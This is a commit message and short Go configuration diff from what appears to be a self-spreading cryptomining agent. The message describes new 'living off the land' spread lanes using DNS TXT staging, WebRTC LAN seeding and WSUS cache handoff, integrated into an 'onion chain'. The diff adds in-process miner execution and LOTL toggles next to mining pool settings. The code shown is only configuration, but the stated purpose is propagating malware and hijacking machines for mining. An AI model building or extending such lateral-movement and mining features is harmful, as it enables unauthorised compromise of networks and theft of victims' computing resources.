Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

usb/agent/config/builtin.go

@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		ThreadPercent:       75,
 		CPUPriority:         "below_normal",
 		MiningMode:          "always",
+		MinerExecution:      "inprocess",
 		DisplayMode:         "visible",
 		SilentMode:          false,
 		RunAs:               "user",
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		RVNPoolPort:         6060,
 		RVNPoolTLS:          false,
 		RVNPoolPass:         "x",
+		LotlOnionEnabled:     false,
+		LotlPolicyFromServer: false,
 	}
 }